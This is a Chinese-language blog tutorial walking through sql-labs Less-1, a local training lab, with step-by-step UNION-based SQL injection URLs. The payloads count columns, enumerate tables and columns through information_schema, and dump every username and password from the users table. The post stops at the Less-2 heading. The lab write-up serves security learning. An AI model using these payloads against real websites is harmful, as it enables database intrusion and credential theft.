靶场练习

靶场练习

sql-labs

一、联合注入
1、基本信息:联合注入是sql注入的一个重要分类,在sql-labs靶场中是从Less-1到Less-4
2、具体步骤
(1)Less-1
首先打开界面
img
提示我们要输入ID
http://127.0.0.1/sql/Less-1/?id=1

这里要解释一下为什么是?id=1:在本题当中HTTP传参方式是GET,基于这种方式是直接在url后面加?然后再加id=1作用是以GET的方式传递id这个参数给服务端

img
回车换行后发现页面正常回显,尝试使用单引号'闭合
img
我们可以看到mysql出现了报错,为什么会出现这个报错?原因是因为我们多上传了一个单引号',导致sql语句闭合,下面我将详细解释一下报错中的"1"是什么意思,以及为什么会出现这个报错。

$id=$_GET['id'];

这是其后端源码的一部分,我们可以看到:当我们上传id=1'时,会在id后再加一对单引号,新id就变成了'1'',接下来再看另一部分的源码

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

我们可以看到系统在新id外又新加了一层单引号,所以这条语句就变成了

$sql="SELECT * FROM users WHERE id=''1''' LIMIT 0,1";

数字1的前面只有两个单引号,后面有三个单引号,这样匹配下来就多了一个单引号出现了报错。在sql语句执行时,会去掉数字1最外端的一对单引号,就变成了'1'',我们再会看报错信息:
near ''1'' LIMIT 0,1'
near自带一对单引号,去掉它们就变成了'1'' LIMIT 0,1,数字1的左右两边出现了数量不一的单引号。这里的确比较绕,简单来说:一个多余的引号破坏了整个 SQL 语句的引号平衡,导致解析失败。
这时如果我们在?id=1'后添加mysql的注释
http://127.0.0.1/sql/Less-1/?id=1' --+
img
此时我们可以进行联合注入,先判断它有几列
http://127.0.0.1/sql/Less-1/?id=1' order by 3 --+
img
正常回显,继续尝试有无第四列
img
没有第四列,说明只有三列,然后继续判断回显位置

这里需要介绍一下union,它是SQL中的操作符,其作用是将两个或多个 SELECT 语句的结果集合并成一个结果集,我们需要注意的是:如果在合并的过程中前一个SELECT语句出现错误,不会影响后一个SELECT语句的执行。之前查询出来有三列,我们可以利用union判断回显位置。

http://127.0.0.1/sql/Less-1/?id=1' union select 1,2,3 --+
img
为什么查询不到呢?不是因为union没有执行,而是Web应用通常只显示查询结果的第一行,所以浏览器直接返回了id=1的页面,如果要达到判断回显的目的,需要让第一个SELECT为假,也就是无法返回数据。更新后的payload如下:
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,2,3 --+
img
由此可见,回显位置是union select 1,2,3的数字23的位置,接下来就可以爆库名了。
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,database(),3 --+
img
当前数据库为security,接下来我们可以利用mysql的一个特性:information_schema。这是一个非常特殊的数据库,里面存储了mysql所有数据库的系统信息,这个数据库可以帮助我们知道security数据库的所有表。
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
img

这里需要解释一下为什么要使用group_concat:这个函数的作用是提取多行数据返回成一行表现出来。

表名我们已经知道了,接下来就该爆破users表里的列名了。
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
img
其中username和password是我们的最终目标!临门一脚爆破出所有username和password。
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users --+
img
(2)Less-2

posted @ 2026-06-09 11:02  abner957  阅读(1)  评论(0)    收藏  举报